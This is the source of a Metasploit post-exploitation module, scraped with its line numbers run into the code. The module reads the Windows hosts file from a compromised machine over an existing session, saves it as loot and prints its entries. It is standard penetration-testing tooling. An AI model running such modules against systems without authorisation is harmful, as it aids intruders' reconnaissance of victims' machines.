Path: blob/master/modules/post/windows/gather/enum_hostfile.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Windows Host File Enumeration',13'Description' => %q{14This module returns a list of entries in the target system's hosts file.15},16'License' => BSD_LICENSE,17'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],18'Platform' => [ 'win' ],19'SessionTypes' => [ 'meterpreter', 'shell' ],20'Notes' => {21'Stability' => [CRASH_SAFE],22'SideEffects' => [],23'Reliability' => []24}25)26)27end2829def run30# read in the hosts in the hosts file.31hosts = read_file 'C:\\WINDOWS\\System32\\drivers\\etc\\hosts'3233# Store the original hosts file34p = store_loot(35'hosts.confige',36'text/plain',37session,38hosts,39'hosts_file.txt',40'Windows Hosts File'41)4243# Print out each line that doesn't start w/ a comment44entries = []45hosts.each_line do |line|46next if line =~ /^[\r|\n|#]/4748entries << line.strip49end5051# Show results52if !entries.empty?53print_line('Found entries:')54entries.each do |e|55print_good(e.to_s)56end57end5859print_status("Hosts file saved: #{p}")60end61end626364